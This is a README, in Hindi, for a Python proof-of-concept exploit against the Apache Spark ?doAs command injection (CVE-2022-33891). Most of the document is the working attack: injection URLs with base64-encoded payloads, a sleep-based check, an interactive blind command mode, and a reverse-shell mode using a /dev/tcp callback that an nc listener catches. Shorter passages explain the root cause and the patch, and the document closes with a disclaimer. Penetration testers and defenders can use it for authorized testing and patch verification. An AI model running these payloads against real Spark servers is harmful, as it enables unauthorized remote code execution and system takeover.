
Apache Spark शेल कमांड इंजेक्शन भेद्यता
Apache Spark शेल कमांड इंजेक्शन भेद्यता
Apache Spark शेल कमांड इंजेक्शन भेद्यता का फायदा उठाने के लिए एक Python POC। मैंने कुछ अन्य POCs देखे थे, लेकिन वे बहुत संदिग्ध लग रहे थे। यह वाला साफ और सरल है।
मैंने इस एक्सप्लॉइट/भेद्यता की खोज नहीं की है। मैं सिर्फ समुदाय के लिए एक सुरक्षित POC बनाना चाहता था ^.^
CVE को मूल रूप से Databricks के Kostya Kortchinsky ने खोजा था।
अपडेट 9/7/22: अरे, अब इसके लिए एक Metasploit मॉड्यूल मौजूद है! इसे h00die-gr3y ने बनाया है और अब इसे मर्ज! कर दिया गया है!
Apache Spark के संस्करण 3.0.3 और उससे पहले, संस्करण 3.1.1 से 3.1.2, और संस्करण 3.2.0 से 3.2.1
http://localhost:8080/?doAs=`[command injection here]`
उदाहरण
http://localhost:8080/?doAs=`echo%20%22c2xlZXAgMTAK%22%20|%20base64%20-d%20|%20bash`
... 10 सेकंड के लिए सोता है
आपको Spark का एक भेद्य संस्करण चाहिए जिसमें केवल एक कॉन्फ़िग विकल्प बदला गया हो।
$ pip3 install -r requirements.txtspark/ निर्देशिका में बदलें।spark/ निर्देशिका में दिए गए docker-compose.yml का उपयोग करें और docker-compose up चलाएँ। कंटेनर को शुरू होने दें।sudo docker exec -it spark_spark_1 /bin/bash दर्ज करें।echo "spark.acls.enable true" >> conf/spark-defaults.confdocker-compose up दोबारा चलाएँ।┌──(kali㉿kali)-[~/Desktop]
└─$ python3 poc.py -h
usage: poc.py [-h] -u URL -p PORT [--revshell]
[-lh LISTENINGHOST] [-lp LISTENINGPORT]
[--check] [--verbose]
CVE-2022-33891 Python POC Exploit Script
optional arguments:
-h, --help show this help message and exit
-u URL, --url URL URL to exploit.
-p PORT, --port PORT Exploit target's port.
--revshell Reverse Shell option.
-lh LISTENINGHOST, --listeninghost LISTENINGHOST
Your listening host IP address.
-lp LISTENINGPORT, --listeningport LISTENINGPORT
Your listening host port.
--check Checks if the target is
exploitable with a sleep test
--verbose Verbose mode
जाँच करें कि लक्ष्य भेद्य है या नहीं:
husky@dev-kde:~/Desktop/cve-2022-33891$ python3 poc.py -u http://localhost -p 8080 --check --verbose
[*] Attempting to connect to site...
[*] URL request: http://localhost:8080/?doAs='testing'
[*] Response status code: 403
[!] Performing sleep test of 10 seconds...
[*] T1: 2022-07-22 10:47:48.406996
[*] Command is: sleep 10
[*] Base64 command is: c2xlZXAgMTA=
[*] Full exploit request is: http://localhost:8080/?doAs=`echo c2xlZXAgMTA= | base64 -d | bash`
[*] Sending exploit...
[*] Response status code: 403
[*] Hint: 403 is good.
[*] T2: 2022-07-22 10:47:58.425108
[*] Delta T: 10
[+] Sleep was 10 seconds! This target is probably vulnerable!
कमांड प्रॉम्प्ट लूप में कमांड भेजें:
husky@dev-kde:~/Desktop/cve-2022-33891$ python3 poc.py -u http://localhost -p 8080 --verbose
[*] "Interactive" mode!
[!] Note: you will not receive any output from these commands. Try using something like ping or sleep to test for execution.
[cve-2022-33891> sleep 5
[*] Command is: sleep 5
[*] Base64 command is: c2xlZXAgNQ==
[*] Full exploit request is: http://localhost:8080/?doAs=`echo c2xlZXAgNQ== | base64 -d | bash`
[*] Sending exploit...
[*] Response status code: 403
[*] Hint: 403 is good.
[cve-2022-33891>
रिवर्स शेल निष्पादित करें:
husky@dev-kde:~/Desktop/cve-2022-33891$ python3 poc.py -u http://localhost -p 8080 --revshell -lh 10.10.1.237 -lp 9001 --verbose
[*] Reverse shell mode.
[*] Set up your listener by entering the following:
nc -nvlp 9001
[*] When your listener is set up, press enter!
[*] Command is: sh -i >& /dev/tcp/10.10.1.237/9001 0>&1
[*] Base64 command is: c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMS4yMzcvOTAwMSAwPiYx
[*] Full exploit request is: http://localhost:8080/?doAs=`echo c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMS4yMzcvOTAwMSAwPiYx | base64 -d | bash`
[*] Sending exploit...
...[in the other terminal]...
husky@dev-kde:~/Desktop/cve-2022-33891$ nc -nvlp 9001
Listening on 0.0.0.0 9001
Connection received on 172.19.0.2 52136
sh: 0: can't access tty; job control turned off
$ whoami
spark
$ echo "hackerman"
hackerman
$
कमांड इंजेक्शन इसलिए होता है क्योंकि Spark ?doAs पैरामीटर में पास किए गए उपयोगकर्ता की समूह सदस्यता को एक रॉ Linux कमांड का उपयोग करके जाँचता है। Bash इंटरपोलेशन कमांड चलाता है, आउटपुट को id फ़ील्ड में भेजता है, और परिणामी उपयोगकर्ता को खोजने का प्रयास करता है।
?doAs= उपयोगकर्ता के मान के रूप में which python पास करने से traceback में यह परिणाम मिलता है:
...
http://localhost:8080/?doAs=`which%20python`
...
spark_1 | 22/07/22 15:15:57 INFO Utils: id: '/opt/bitnami/python/bin/python': no such user
spark_1 | 22/07/22 15:15:57 ERROR Utils: Process List(bash, -c, id -Gn `which python`) exited with code 1:
spark_1 | 22/07/22 15:15:57 ERROR Utils: Error getting groups for user=`which python`
यहाँ, Java ने निर्णय लिया है कि किसी निर्दिष्ट उपयोगकर्ता के लिए समूह सदस्यता जाँचने हेतु id कमांड को bash -c में पास करना सबसे अच्छा होगा। समस्या यह है कि यह कमांड इंजेक्शन की भी अनुमति देता है। Bash इंटरपोलेशन ने दिए गए कमांड का मूल्यांकन किया है और इस आउटपुट की पंक्ति 1 पर परिणाम मुद्रित किए हैं, तथा कमांड के stdout द्वारा उपयोगकर्ता को खोजने का प्रयास करता है।
/opt/bitnami/python/bin/python नाम का कोई उपयोगकर्ता नहीं है, लेकिन इसका निश्चित मतलब है कि कमांड Bash को दिया गया और निष्पादित किया गया।
पैच किए गए संस्करण इस कॉल को bash -c id के बजाय /bin/id कमांड का पूरा पथ देने के लिए पैरामीटरीकृत करते हैं।
यह ध्यान देने योग्य है कि कमांड निष्पादन के दौरान पृष्ठ पर कुछ भी वापस प्रतिबिंबित नहीं होता है, इसलिए यह ब्लाइंड OS इंजेक्शन है। आपके कमांड चलते हैं, लेकिन इसका कोई संकेत नहीं मिलेगा कि वे सफल हुए या नहीं, या यह भी नहीं कि आप जिस प्रोग्राम को चला रहे हैं वह लक्ष्य पर मौजूद है या नहीं। उदाहरण के लिए, इस रिपो में docker-compose.yml फ़ाइल के साथ शुरू किए गए कंटेनर में ping नहीं है, इसलिए पिंगबैक के माध्यम से कमांड इंजेक्शन की जाँच करना काम नहीं करेगा। लेकिन आपको यह पता नहीं होगा, इसलिए आप सोचते रह जाएँगे कि यह काम किया या नहीं।
स्लीप टेस्ट एक सुरक्षित शर्त है ^.^
मैंने इसे OPSEC-सुरक्षित बनाने में बिल्कुल कोई मेहनत नहीं की। रेड टीम वालों, यह आपकी ज़िम्मेदारी है।
इस POC में कोई निष्क्रिय एन्यूमरेशन क्षमता नहीं है। यह एक्सप्लॉइट एक ब्लाइंड कमांड इंजेक्शन है। यदि आप इस स्क्रिप्ट का उपयोग किसी लक्ष्य के विरुद्ध करते हैं, तो आप उस पर पैकेट भेज रहे हैं। यहाँ तक कि यदि आप --check पैरामीटर का उपयोग करते हैं और लक्ष्य भेद्य है, तो आप यह साबित करने के लिए सक्रिय रूप से उसका शोषण कर रहे हैं कि वह भेद्य है।
इसे परीक्षण के प्रति संवेदनशील प्रोडक्शन सिस्टम पर उपयोग न करें। यदि आपके पास ऐसा करने का अधिकार नहीं है, तो इसका उपयोग लक्ष्यों के विरुद्ध न करें। आप इसे कैसे उपयोग करते हैं, इसके लिए मैं किसी भी तरह से उत्तरदायी नहीं हूँ।
लाइसेंस पर एक नज़र डालें।